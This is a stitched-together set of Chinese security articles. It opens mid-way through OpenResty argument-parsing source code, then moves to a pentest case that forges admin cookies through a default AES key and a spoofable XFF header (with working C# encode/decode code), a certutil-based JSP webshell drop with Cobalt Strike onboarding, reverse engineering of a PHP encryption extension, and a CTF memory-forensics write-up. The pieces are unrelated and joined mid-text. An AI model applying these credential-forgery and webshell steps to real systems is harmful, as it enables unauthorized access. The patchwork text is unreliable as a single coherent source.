lua_pushboolean(L, 1);
}
(void) lua_tolstring(L, -2, &len);
if (len == 0) {
/* ignore empty string key pairs */
dd("popping key and value...");
lua_pop(L, 2);
} else {
dd("setting table...");
ngx_http_lua_set_multi_value_table(L, top);
}
if (max > 0 && ++count == max) {
lua_pushliteral(L, "truncated");
ngx_log_debug1(NGX_LOG_DEBUG_HTTP, ngx_cycle->log, 0,
"lua hit query args limit %d", max);
return 2;
}
} else {
p++;
}
}
if (p != q || parsing_value) {
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key or value %.*s", (int) (dst - q), q);
lua_pushlstring(L, (char *) q, dst - q);
if (!parsing_value) {
dd("pushing boolean true...");
lua_pushboolean(L, 1);
}
(void) lua_tolstring(L, -2, &len);
if (len == 0) {
/* ignore empty string key pairs */
dd("popping key and value...");
lua_pop(L, 2);
} else {
dd("setting table...");
ngx_http_lua_set_multi_value_table(L, top);
}
}
dd("gettop: %d", lua_gettop(L));
dd("type: %s", lua_typename(L, lua_type(L, 1)));
if (lua_gettop(L) != top) {
return luaL_error(L, "internal error: stack in bad state");
}
return 1;
}
如上代码。读取等于号之前的作为key 然后& 之前的作为value 。然后进行保存到内存中然后进行判断是否大于等于max
获取key
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key %.*s", (int) (dst - q), q);
/* push the key */
lua_pushlstring(L, (char *) q, dst - q);
/* skip the current '=' char */
p++;
q = p;
parsing_value = 1;
value
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key or value %.*s", (int) (dst - q), q);
/* push the value or key */
lua_pushlstring(L, (char *) q, dst - q);
判断长度是否等于max
if (max > 0 && ++count == max) {
lua_pushliteral(L, "truncated");
ngx_log_debug1(NGX_LOG_DEBUG_HTTP, ngx_cycle->log, 0,
"lua hit query args limit %d", max);
return 2;
}
但是现在还有一个疑问就是get_uri_args 这个怎么获取的呢？ 如上是获取了get_post_args
四、get_uri_args
参考大量的代码发现。他这个是内置的一个格式ngx_http_lua_ffi 开头。我也没有找到他内部怎么注册流程。
例如：
ngx_http_lua_ffi_encode_base64
ngx_http_lua_ffi_unescape_uri
ngx_http_lua_ffi_time
暂时没有找到他的内部注册的逻辑。这里先不做讨论了。如果有大佬可以指出哪里是注册流程话记得艾特一下我
ngx_http_lua_ffi_req_get_uri_args 代码如下
int
ngx_http_lua_ffi_req_get_uri_args(ngx_http_request_t *r, u_char *buf,
ngx_http_lua_ffi_table_elt_t *out, int count)
{
int i, parsing_value = 0;
u_char *last, *p, *q;
u_char *src, *dst;
if (count <= 0) {
return NGX_OK;
}
ngx_memcpy(buf, r->args.data, r->args.len);
i = 0;
last = buf + r->args.len;
p = buf;
q = p;
while (p != last) {
if (*p == '=' && !parsing_value) {
/* key data is between p and q */
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("saving key %.*s", (int) (dst - q), q);
out[i].key.data = q;
out[i].key.len = (int) (dst - q);
/* skip the current '=' char */
p++;
q = p;
parsing_value = 1;
} else if (*p == '&') {
/* reached the end of a key or a value, just save it */
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key or value %.*s", (int) (dst - q), q);
if (parsing_value) {
/* end of the current pair's value */
parsing_value = 0;
if (out[i].key.len) {
out[i].value.data = q;
out[i].value.len = (int) (dst - q);
i++;
}
} else {
/* the current parsing pair takes no value,
* just push the value "true" */
dd("pushing boolean true");
if (dst - q) {
out[i].key.data = q;
out[i].key.len = (int) (dst - q);
out[i].value.len = -1;
i++;
}
}
if (i == count) {
return i;
}
/* skip the current '&' char */
p++;
q = p;
} else {
p++;
}
}
if (p != q || parsing_value) {
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key or value %.*s", (int) (dst - q), q);
if (parsing_value) {
if (out[i].key.len) {
out[i].value.data = q;
out[i].value.len = (int) (dst - q);
i++;
}
} else {
if (dst - q) {
out[i].key.data = q;
out[i].key.len = (int) (dst - q);
out[i].value.len = (int) -1;
i++;
}
}
}
return i;
}
首先呢。他这个也是获取一个key 和一个value 的过程。然后判断一下是否是i==count
i 这个地方是一个整数。每次设置好值之后i++
这里画了一个图 | 社区文章 |
# 让渗透从黑盒变为“灰盒”
## 0x01 前言
在进行渗透测试时，经常会遇到一些比较讨厌的问题。例如：没有账号、注册的账号功能有限、不知道后台在哪等等。下面会讲述一种解决思路
网站的底部通常会有备案、主办单位、承办单位、技术支持等信息。通过“技术支持”这样的关键字可以在搜索引擎中找到与目标应用相同的网站，对这些网站进行的简单的渗透。利用从这些网站上获取的漏洞信息，再去攻击目标网站，往往可以获取很大的收益。
## 0x02 案例
在目标网站下方发现“技术支持”关键字
利用FOFA搜索关键字，发现相同的系统应用，下文统称为A网站
对A网站进行渗透测试发现存在一处任意文件上传，很简单的就获取了一个WebShell
注：原来目标网站也有任意文件只不过修复了
在WEB目录下存在Log文件夹且命名方式可以爆破
把这个漏洞信息利用到目标网站去，访问`/Log/2020/`返回403，说明目录存在
但是利用发现的命名规则以及常见的命名规则进行爆破，并没有成功。可惜了....
跳过这个日志这个点继续渗透，发现用户的登录凭证很有特征，像是AES或者DES加密
既然是AES或者DES加密那么密钥肯定在配置文件中或者源码中，于是把A网站的源码打包下载。由于是.Net的网站所以还要用ILSpy反编译dll文件查看源码
定位到登录口，发现了加密算法为AES
跟进AES.Encode函数，发现其密钥获取方式："xxxxx"+IP
`Utils.GetClientIP()`获取的是XFF头，所以也是可控的
然后我就写了一个Decode进行一个验证
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Security.Cryptography;
using System.IO;
using System.Text;
public class AES
{
public static byte[] Keys = new byte[16]
{
65,
114,
101,
121,
111,
117,
109,
121,
83,
110,
111,
119,
109,
97,
110,
63
};
public static string GetSubString(string p_SrcString, int p_StartIndex, int p_Length, string p_TailString)
{
string result = p_SrcString;
byte[] bytes = Encoding.UTF8.GetBytes(p_SrcString);
char[] chars = Encoding.UTF8.GetChars(bytes);
foreach (char c in chars)
{
if ((c > 'ࠀ' && c < '一') || (c > '가' && c < '힣'))
{
if (p_StartIndex >= p_SrcString.Length)
{
return "";
}
return p_SrcString.Substring(p_StartIndex, (p_Length + p_StartIndex > p_SrcString.Length) ? (p_SrcString.Length - p_StartIndex) : p_Length);
}
}
if (p_Length >= 0)
{
byte[] bytes2 = Encoding.Default.GetBytes(p_SrcString);
if (bytes2.Length > p_StartIndex)
{
int num = bytes2.Length;
if (bytes2.Length > p_StartIndex + p_Length)
{
num = p_Length + p_StartIndex;
}
else
{
p_Length = bytes2.Length - p_StartIndex;
p_TailString = "";
}
int num2 = p_Length;
int[] array = new int[p_Length];
byte[] array2 = null;
int num3 = 0;
for (int j = p_StartIndex; j < num; j++)
{
if (bytes2[j] > 127)
{
num3++;
if (num3 == 3)
{
num3 = 1;
}
}
else
{
num3 = 0;
}
array[j] = num3;
}
if (bytes2[num - 1] > 127 && array[p_Length - 1] == 1)
{
num2 = p_Length + 1;
}
array2 = new byte[num2];
Array.Copy(bytes2, p_StartIndex, array2, 0, num2);
result = Encoding.Default.GetString(array2);
result += p_TailString;
}
}
return result;
}
public static string Encode(string encryptString, string encryptKey)
{
encryptKey = GetSubString(encryptKey, 0, 32, "");
encryptKey = encryptKey.PadRight(32, ' ');
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = Encoding.UTF8.GetBytes(encryptKey.Substring(0, 32));
rijndaelManaged.IV = Keys;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
byte[] bytes = Encoding.UTF8.GetBytes(encryptString);
byte[] inArray = cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length);
return Convert.ToBase64String(inArray);
}
public static string Decode(string decryptString, string decryptKey)
{
try
{
decryptKey = GetSubString(decryptKey,0, 32, "");
decryptKey = decryptKey.PadRight(32, ' ');
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = Encoding.UTF8.GetBytes(decryptKey);
rijndaelManaged.IV = Keys;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
byte[] array = Convert.FromBase64String(decryptString);
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
return Encoding.UTF8.GetString(bytes);
}
catch
{
return "";
}
}
public static string Encode(string encryptString)
{
// 密钥
return Encode(encryptString, "xxxxxx" + "127.0.0.1");
}
public static string Decode(string decryptString)
{
// 密钥
return Decode(decryptString, "xxxxxx" + "127.0.0.1");
}
public static void Main(string[] args){
// 解密用户凭证
System.Console.WriteLine(Decode("xxxxx"));
}
}
验证步骤如下：
1. 修改XFF头为127.0.0.1
1. 随便注册个账号，登录目标网站，获取凭证
1. 用Decode解密用户凭证
最终成功解密了，这说明目标网站用的也是默认的加密密钥，所以存在用户凭证伪造（任意用户登陆）
伪造普通用户危害总是有限的。所以继续查看代码，发现管理员凭证使用也是同一种加密方式
修改Cookie为Weiyum访问目标网站后台，结果返回没有权限
进入Admin的基类查看，原来是根据用户的ID做了权限检测
怎样获取管理的ID呢？通常一款后台应用初始肯定是有一个默认的管理用户的，那么他的ID应该不是随机的。通过之前获取A网站的WebShell查询数据库，得知默认的AdmidID为`ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a`
然后用伪造用户信息
{
"Type": 0,
"UserName": "71000019780612618X",
"RealName": "邵霞",
"Email": "[email protected]",
"Tel": "13888888888",
"IDCard": "71000019780612618X",
"Password": "ce1c1cdc2fac8e1167f22cd4bd88d324",
"PasswordWay": "M",
"Remark": "",
"Avatar": "/Public/static/face/default_head_50.png",
"Gender": 0,
"Minority": "",
"NativePlace": "",
"Birth": "0001-01-01T00:00:00",
"ID": "ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a",
"CreateBy": "邵霞",
"CreateOn": "2020-08-02T01:56:26",
"UpdateBy": "",
"UpdateOn": null,
"Status": 1,
"IsAdd": false
}
利用Encode生成加密后的用户凭证
public static void Main(string[] args){
System.Console.WriteLine(Encode("xxxx"));
}
重新修改Weiyum，成功伪造管理员身份
## 0x03 总结
1. 利用网站的技术支持信息去搜寻相同的应用，然后对其进行渗透，尝试获取有用的漏洞信息
2. 通常可以尝试获取默认的密码规则，默认的日志、备份规则、默认的加密密钥
3. 如果有条件可以下载源码，对其进行代码审计 | 社区文章 |
# 一次不出网上线cs实战案例
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 场景
shiro打点获取10段服务器权限，在10段机器出网且已上线cs；172段不出网且反向不通10段，已通过mysql弱口令获取system权限，存在web服务。
## 上线过程
思路：写入webshell，通过正向马上线cs。
### getshell
通过web服务获取一个web目录下的文件名：stf-login-bg.jpg
获取所有盘符
wmic logicaldisk get caption,name
通过文件名获取web目录
dir /a /s /b d:\"stf-login-bg.jpg"
根据图片URL确定D:\apache-tomcat-7.0.73-windows-x64\apache-tomcat-7.0.73\webapps\ROOT\static\images\login\stf-login-bg.jpg为真实web路径，使用\可dir到此路径。
echo配合certutil写入webshell：
//base64编码shell.jsp
certutil -encode shell.jsp jsp.txt
//echo编码后的内容到web目录
echo xxxx >D:\\apache-tomcat-7.0.73-windows-x64\\apache-tomcat-7.0.73\\webapps\\ROOT\\static\\images\\login\\12.txt
//解码还原文件
certutil -decode D:\\apache-tomcat-7.0.73-windows-x64\\apache-tomcat-7.0.73\\webapps\\ROOT\\static\\images\\login\\12.txt D:\\apache-tomcat-7.0.73-windows-x64\\apache-tomcat-7.0.73\\webapps\\ROOT\\static\\images\\login\\123.jsp
### 上线cs
新建监听器
生成正向马
通过webshell上传到目标机器并执行，使用跳板机连接，上线cs。
connect 172.20.57.122 28888 | 社区文章 |
作者：[TheSeven](http://blog.th3s3v3n.xyz/2017/12/12/web/Decrypt_php_VoiceStar_encryption_extension/
"TheSeven")
#### 0x00 引子
昨天头老师扔给我一个php的加密扩展，让我看看能不能解密，我从垃圾桶里拖出我14年版的ida打开简单瞅了一眼，php扩展库的加载流程不是特别熟悉，遂想放弃刚正面用一些杂项手段来搞，看了眼被加密的php文件，文件头部是个标志，google了一发，发现某个解密站点在15年曾经支持过这种加密：
但是目前该站已经无法解密这个方法了。
然而神奇的是，尽管知道了这种方法叫做 AtStar/VoiceStar
，但是用了各种方法都没在网上搜到其他任何关于这种加密的信息。。。。于是，再次老老实实打开ida，正面刚。
#### 0x01 定位入口及整体流程
一般来说，php代码加密有三种形式：
* 第一种类似代码混淆，这种方法可以不依赖扩展库，例如phpjiami，一般这种加密需要将解码程序也打包进代码中，也就是我们说的壳，然后壳会被代码混淆，原本的代码会被加密，最终由壳进行解密后执行。这种不依赖扩展库的加密方法有个非常简单的破解方法，因为原代码执行前一定会去调用底层的`zend_compile_string`函数，而且这种加密方法是可以直接运行的，所以我们在运行时把`zend_compile_string` hook住就可以得到源码了。
* 第二种是使用扩展库，如果使用php扩展库那么可以玩儿的加密手段就更多了，比如hook住`zend_compile_*`的一系列函数，在编译流程上动手脚，并且一般我们在线上环境中（比如一个shell上）得到的so库，可能在本地运行不起来，这个时候可能就比较难通过动态调试的方法拿到源码。但是一般来说，只要我们拿到了这个加密库最终输出到zend虚拟机的数据，不管是源码还是opcode，我们一般都能做到代码还原，因为他最终逃不过zend engine(ze)。
* 还有一种方法是第二种方法的子集，比如 `Swoole Compile` ，牛逼之处在于他部分脱离了zend虚拟机，对`opcode`做了混淆，这就比较像是vmp，所以破解难度就会变的很大。
但是比较幸运，这次遇到的 voicestar 是第二种方法里比较简单的一种加密方式。
查了下php扩展开发的手册，在载入扩展库时，会首先调用`get_module`来获得模块接口，ida里看下发现返回了一个入口指针，但是我没找到赋值在哪，然后我就把so里的所有function按照起始位置排序了下，然后就看到了`get_module`附近定义的几个函数，特别是
`zm_startup_php_voice` 和 `zm_shutdown_php_voice` 这俩函数从函数名上看上去比较像是入口：
查看`zm_startup_php_voice`：
__int64 zm_startup_php_voice()
{
*((_DWORD *)&compiler_globals + 135) |= 1u;
lr = gl((char *)&ll);
if ( lr )
php_error_docref0(0LL, 2LL, "No License: %d");
org_compile_file = (int (__fastcall *)(_QWORD, _QWORD))zend_compile_file;
zend_compile_file = pcompile_file;
return 0LL;
}
很明显，其关键部分是把 `zend_compile_file` 放到 `org_compile_file` 这个指针中，然后用
`pcompile_file` hook 住 `zend_compile_file`。
`zm_shutdown_php_voice` 主要就是把 `zend_compile_file` 还原。
__int64 zm_shutdown_php_voice()
{
*((_DWORD *)&compiler_globals + 135) |= 1u;
zend_compile_file = org_compile_file;
return 0LL;
}
#### 0x02 分析 & 解码
`zend_compile_file`
是ze中负责将读入的源代码文件编译为opcode然后执行的函数，那么解密过程应该就是在`pcompile_file`这个hook函数中了。
int __fastcall pcompile_file(__int64 a1, unsigned int a2)
{
__int64 v2; // rbx@1
unsigned int v3; // er13@1
FILE *v4; // rax@3
FILE *v5; // rbp@3
bool v6; // zf@4
__int64 v7; // rdi@4
signed __int64 v8; // rcx@4
char *v9; // rsi@4
int v10; // er12@9
int v11; // eax@10
FILE *v12; // rax@12
__int64 v13; // rdi@12
__int64 v14; // rax@12
int result; // eax@12
__int64 v16; // rax@14
const char *v17; // rax@15
__int64 v18; // [sp+0h] [bp-58h]@1
__int64 v19; // [sp+8h] [bp-50h]@1
__int64 v20; // [sp+10h] [bp-48h]@1
__int64 v21; // [sp+18h] [bp-40h]@1
char ptr; // [sp+20h] [bp-38h]@4
v2 = a1;
v3 = a2;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
if ( (unsigned __int8)zend_is_executing() && (LODWORD(v16) = get_active_function_name(), v16) )
{
LODWORD(v17) = get_active_function_name();
strncpy((char *)&v18, v17, 0x1EuLL);
if ( !(_BYTE)v18 )
goto LABEL_3;
}
else if ( !(_BYTE)v18 )
{
goto LABEL_3;
}
if ( !strcasecmp((const char *)&v18, "show_source") )
return 0;
if ( !strcasecmp((const char *)&v18, "highlight_file") )
return 0;
LABEL_3:
v4 = fopen(*(const char **)(a1 + 8), "r");
v5 = v4;
if ( !v4 )
return org_compile_file(v2, v3);
fread(&ptr, 8uLL, 1uLL, v4);
v7 = (__int64)"\tATSTAR\t";
v8 = 8LL;
v9 = &ptr;
do
{
if ( !v8 )
break;
v6 = *v9++ == *(_BYTE *)v7++;
--v8;
}
while ( v6 );
if ( !v6 )
{
fclose(v5);
return org_compile_file(v2, v3);
}
if ( lr )
{
php_error_docref0(0LL, 2LL, "No License:");
result = 0;
}
else
{
v10 = cle(&ll, v9);
if ( v10 )
{
php_error_docref0(0LL, 2LL, "No License: %d");
printf("No License:%d\n", (unsigned int)v10, v18);
result = 0;
}
else
{
v11 = *(_DWORD *)v2;
if ( *(_DWORD *)v2 == 2 )
{
fclose(*(FILE **)(v2 + 24));
v11 = *(_DWORD *)v2;
}
if ( v11 == 1 )
close(*(_DWORD *)(v2 + 24));
v12 = ext_fopen(v5);
v13 = *(_QWORD *)(v2 + 8);
*(_QWORD *)(v2 + 24) = v12;
*(_DWORD *)v2 = 2;
LODWORD(v14) = expand_filepath(v13, 0LL);
*(_QWORD *)(v2 + 16) = v14;
result = org_compile_file(v2, v3);
}
}
return result;
}
简单看一下逻辑，首先是判断 `show_source` 和 `highlight_file`
俩函数有没有被禁用，然后判断当前解析的文件有没有”\tATSTAR\t”
这个文件头，如果有，则进入到解密流程，解密流程前面一段都是在判断有没有授权，我们直接跳到83行之后的这个最后的分支上去。
`zend_compile_file` 定义如下：
extern ZEND_API zend_op_array *(*zend_compile_file)(zend_file_handle *file_handle, int type);
其第一个参数是`zend_file_handle`结构，其偏移量24的位置放的是打开的源码文件指针，此分支代码的主要逻辑就是关闭原来打开的代码文件，然后使用`ext_fopen`函数重新打开该php代码文件，然后替换掉
`zend_file_handle`结构体中原来的文件句柄。然后调用
`zend_compile_file`(hook之前的函数，现在为`org_compile_file`)。那么很显然，当函数调用到`zend_compile_file`的时候，v2里装的应该就是还原后的代码了，那么还原操作应该是在`ext_fopen`函数内，跟进去看。
FILE *__fastcall ext_fopen(FILE *stream)
{
int v1; // eax@1
signed int v2; // ebx@1
unsigned int v3; // er13@1
void *v4; // rbp@1
void *v5; // rcx@2
__int64 v6; // rax@3
const void *v7; // r12@4
FILE *v8; // rbx@4
__int64 v10; // [sp+0h] [bp-C8h]@1
__int64 v11; // [sp+30h] [bp-98h]@1
int v12; // [sp+9Ch] [bp-2Ch]@4
v1 = fileno(stream);
__fxstat(1, v1, (struct stat *)&v10);
v2 = v11 - 8;
v3 = v11 - 8;
v4 = malloc((signed int)v11 - 8);
fread(v4, v2, 1uLL, stream);
fclose(stream);
if ( v2 > 0 )
{
v5 = v4;
do
{
v6 = (signed int)((((_BYTE)v2 + ((unsigned int)(v2 >> 31) >> 28)) & 0xF) - ((unsigned int)(v2 >> 31) >> 28));
*(_BYTE *)v5 = ~(*(_BYTE *)v5 ^ (d[v6] + p[2 * v6] + 5));
v5 = (char *)v5 + 1;
--v2;
}
while ( v2 );
}
v7 = zdecode((__int64)v4, v3, (__int64)&v12);
v8 = tmpfile();
fwrite(v7, v12, 1uLL, v8);
free(v4);
free((void *)v7);
rewind(v8);
return v8;
}
该部分代码的关键部分应该是在
22-33行，这段代码明显是在做一个对称加密（易得，证略～～2333终于可以说这句话了），虽然没看到密钥，但是我们发现这里面`d`和`p`这俩盒子是放在data段的:
然后这个对称加(解)密做完之后，解密后的内容又进入到了 `zdecode` 这个函数中，跟进去看一眼，
`zdecode`其实就是`zcodecom`又封装了一层，直接看`zcodecom`：
void *__fastcall zcodecom(int a1, __int64 a2, int a3, __int64 a4)
{
int v4; // er13@1
__int64 v5; // r12@1
int v6; // er14@3
void *v7; // r13@3
int v8; // eax@4
int v10; // ST08_4@21
v4 = a3;
v5 = a4;
*((_QWORD *)&z + 8) = 0LL;
*((_QWORD *)&z + 9) = 0LL;
*((_QWORD *)&z + 10) = 0LL;
z = 0LL;
*((_DWORD *)&z + 2) = 0;
if ( a1 )
inflateInit_(&z, "1.2.8", 112LL);
else
deflateInit_(&z, 1LL, "1.2.8", 112LL);
z = a2;
*((_DWORD *)&z + 2) = v4;
*((_DWORD *)&z + 8) = 100000;
v6 = 0;
*((_QWORD *)&z + 3) = &outbuf;
v7 = malloc(0x186A0uLL);
while ( 1 )
{
if ( a1 )
{
v8 = inflate(&z, 0LL);
if ( v8 == 1 )
{
LABEL_9:
if ( 100000 == *((_DWORD *)&z + 8) )
{
if ( a1 )
goto LABEL_11;
LABEL_16:
deflateEnd(&z);
}
else
{
v10 = 100000 - *((_DWORD *)&z + 8);
v7 = realloc(v7, v6 + 100000);
memcpy((char *)v7 + v6, &outbuf, v10);
v6 += v10;
if ( !a1 )
goto LABEL_16;
LABEL_11:
inflateEnd((__int64)&z);
}
*(_DWORD *)v5 = v6;
return v7;
}
}
else
{
v8 = deflate(&z, 4LL);
if ( v8 == 1 )
goto LABEL_9;
}
if ( v8 )
break;
if ( !*((_DWORD *)&z + 8) )
{
v7 = realloc(v7, v6 + 100000);
memcpy((char *)v7 + v6, &outbuf, 0x186A0uLL);
*((_QWORD *)&z + 3) = &outbuf;
*((_DWORD *)&z + 8) = 100000;
v6 += 100000;
}
}
if ( a1 )
inflateEnd((__int64)&z);
else
deflateEnd(&z);
*(_DWORD *)v5 = 0;
return v7;
}
发现这个函数有点复杂，看了半天没看懂在干啥，然后我就把代码复制下来本地编译了一发，但是这段代码调了半晚上都没跑起来，我想了一下，感觉问题应该是出在 `z`
和 `outbuf`
这俩全局变量上，这段代码中对`z`上的偏移频繁操作，`z`应该是某个比较复杂的结构体，并且`inflate`、`inflateEnd`等等这几个函数在编译的时候必须link
zlib，`gcc 1.c -o a -lz -g3` ，我猜测 `z`
应该是zlib中某个结构体，我就去查了zlib的手册，看个`Example`（为啥这个zlib的logo看上去这么像某lv文。。。。）：
<https://www.zlib.net/zlib_how.html>
此处的`z`应该是
`z_stream`结构，这个过程应该就是使用zlib解压。我按照zlib手册中的结构和宏试图复原`zcodecom`函数，但是每当执行到这句解压代码时`v8
= inflate(&z, 0LL);`
总会返回一个`0xfffffffb`，查手册发现是`Z_BUF_ERROR`，没辙，c语言太菜搞不定，只能想另外的方法。
此时我已经基本确定这里是一个解压流程，尽管不知道有没有啥另外的操作，索性把数据导出来用python解压下。
此时我已经把从`pcompile_file`到解压流程前的代码都调通了，编译好之后在`zdecode`前下个断点，文件长度存在v3中，此处直接print出来，为0x4f7，查看下`v4`的地址，然后直接从该地址dump
binary memory 0x4f7个字节：
file 瞅一眼:
root@penGun:/tmp# file aaa
aaa: zlib compressed data
感觉没啥毛病，上python直接解：
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from zlib import *
>>> data = open('aaa','rb').read()
>>> data = decompress(data)
>>> file = open('ddd.php','wb')
>>> file.write(data)
>>> file.close()
搞定：
#### 0x03 关于抄ida中c代码
注意导入ida的定义头文件，因为某些类型比较蛋疼，其实手动typedef也是可以的：
typedef unsigned long long __int64;
typedef unsigned long _DWORD;
typedef unsigned long long _QWORD;
typedef unsigned short _WORD;
typedef unsigned char _BYTE;
typedef int bool;
直接include plugins目录下的defs.h就好啦。
还要注意某些结构体ida不能识别，所以可能f5出来的代码存在这种形式：
__int64 v10; // [sp+0h] [bp-C8h]@1
__int64 v11; // [sp+30h] [bp-98h]@1
int v12; // [sp+9Ch] [bp-2Ch]@4
这几个变量应该本在一个结构体中的，但是这样看下面的代码似乎他们没经过赋值就使用了，此时可以重新写一个结构体，也可以手动布局下堆栈，把变量放在指定的偏移上，其实这两种方法原理完全一样，就是操作起来可能形式不同。
* * * | 社区文章 |
# 2021年西湖论剑网络安全技能大赛部分WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Misc
### YUSA的小秘密
查看`RGB`三通道的时候发现在`RG`两个通道是能够看到部分`Flag`的，在之前`Byte CTF`中的`Hardcore Watermark
01`题目有过类似的考点，图片中每个像素可以通过三个值(通道)来表示，常见的是`R(red)G(green)B(blue)`模式，但是本题用到的通道是`YCrCb`，通过`cv2.cvtColor(img,
cv2.COLOR_BGR2YCrCb)`对图片数据进行色彩空间转换，即可得到三个通道的数据
from cv2 import cv2 as cv
img = cv.imread('yusa.png')
imgChange = cv.cvtColor(img, cv.COLOR_BGR2YCrCb)
Y, Cr, Cb = cv.split(imgChange)
cv.imwrite('Y.png', (Y % 2) * 255)
cv.imwrite('Cr.png', (Cr % 2) * 255)
cv.imwrite('Cb.png', (Cb % 2) * 255)
在`Y`通道拿到含有`Flag`的图片
### 真·签到
扫码进入西湖论剑网络安全大赛微信公众号，发送语音说出`西湖论剑2021，我来了`，即可获得本题`Flag`
### Yusa的秘密
下载附件得到一内存镜像和AES加密的zip文件。zip文件先放着，先对内存镜像作取证工作。
Volatility基本操作，检查内存系统版本，设置profile.
> python2 /home/admin/Downloads/volatility-master/vol.py -f '/home/admin/Downloads/Yusa'\''s secret/Yusa-PC.raw' imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/admin/Downloads/Yusa's secret/Yusa-PC.raw)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf800040400a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80004041d00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2021-10-29 05:44:03 UTC+0000
Image local date and time : 2021-10-29 13:44:03 +0800
可知是Windows 7 SP1的镜像，现在运行Volatility可以加上`--profile=Win7SP1x64`参数。
Volatility自带很多脚本，可以用`--help`参数查看。
接下来导出一下能扫描出的文件。
python2 /home/admin/Downloads/volatility-master/vol.py -f '/home/admin/Downloads/Yusa'\''s secret/Yusa-PC.raw' --profile=Win7SP1x64 filescan > files.txt
然后就仔细检查所有的输出内容，最终找到这些可疑的文件：
0x000000003e58ada0 1 0 R--r-- \Device\HarddiskVolume2\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\Sakura-didi
0x000000003e748f20 1 0 R--r-d \Device\HarddiskVolume2\Users\Yusa\Contacts\Yusa.contact
0x000000003e78c6a0 1 0 R--r-- \Device\HarddiskVolume2\Users\Yusa\Desktop\Sakura文件\Sakura-公告
0x000000003f2ae290 1 0 R--r-- \Device\HarddiskVolume2\Users\Yusa\Desktop\Sakura文件\Sakura-egg5
0x000000003f3356f0 1 0 R--rw- \Device\HarddiskVolume2\PROGRA~1\MSBuild\MICROS~1\WINDOW~1\key.zip
0x000000003f82fdc0 1 0 R--r-- \Device\HarddiskVolume2\Program Files\Reference Assemblies\Microsoft\Framework\egg2
0x000000003f959980 1 0 R--r-- \Device\HarddiskVolume2\Users\Yusa\Desktop\Sakura文件\Sakura-备忘录
0x000000003fa09070 1 0 R--r-d \Device\HarddiskVolume2\Users\Yusa\Contacts\Mystery Man.contact
0x000000003fabc220 1 0 R--r-- \Device\HarddiskVolume2\Users\Yusa\Desktop\Sakura文件\Sakura-logo
用`dumpfiles`导出文件：
python2 /home/admin/Downloads/volatility-master/vol.py -f '/home/admin/Downloads/Yusa'\''s secret/Yusa-PC.raw' --profile=Win7SP1x64 dumpfiles --dump-dir . -Q [OFFSET]
`[OFFSET]`替换为上面列表的第一列内容。`filescan`导出的是物理地址的偏移量，所以需要用`-Q`参数。可以用逗号分隔多个地址以导出多个文件。
导出文件后可对文件重命名以方便识别。其中两个contact文件可以用`Windows 联系人`程序打开。
这里可看到egg3:
这里给出提示让我寻找便笺中的内容。
神秘人联系文件里有base字符串，交给CyberChef一把梭：
得到了一个key：`820ac92b9f58142bbbc27ca295f1cf48`。尝试用其解密`Who_am_I.zip`，没有成功。
通过上网查找，得知Windows 便笺的数据存储在`%APPDATA%\Microsoft\Sticky
Notes\StickyNotes.snt`，然后再在文件列表内搜索，直接搜索到：
0x000000003fb306e0 16 1 RW-r-- \Device\HarddiskVolume2\Users\Yusa\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes.snt
还是跟上面一样的方法提取文件。提取出来后如果直接打开会遇到很多转义字符与编码，不宜查看。所以这里可以采用一个比较直观的方法：直接找一个Windows
7系统，创建一个空便笺，然后把文件替换进去即可。
操作后得到的便笺内容：
又得到了一个密码：`世界没了心跳`。但这还是打不开`Who_am_I.zip`。
继续深挖，把当前用户Yusa的用户密码导出：
使用自带的hashdump可从注册表和SAM文件等地方导出NT
Hash，但是得到hash后仍需要暴力破解密码。实际上有Mimikatz工具可从`lsass.exe`的进程dump中直接提取出密码。
Mimikatz是Windows平台的工具，但在Linux平台上已经有模仿的工具mimipenguin，可在Kali Linux等系统上使用。
使用Volatility官方社区提供的[插件](https://github.com/volatilityfoundation/community)：
pip2 install distorm3 Pycrypto yara construct dpapick
git clone https://github.com/volatilityfoundation/community
拉取后可以把文件夹放到`volatility/plugins`下，也可用`--plugin`参数指定该文件夹。
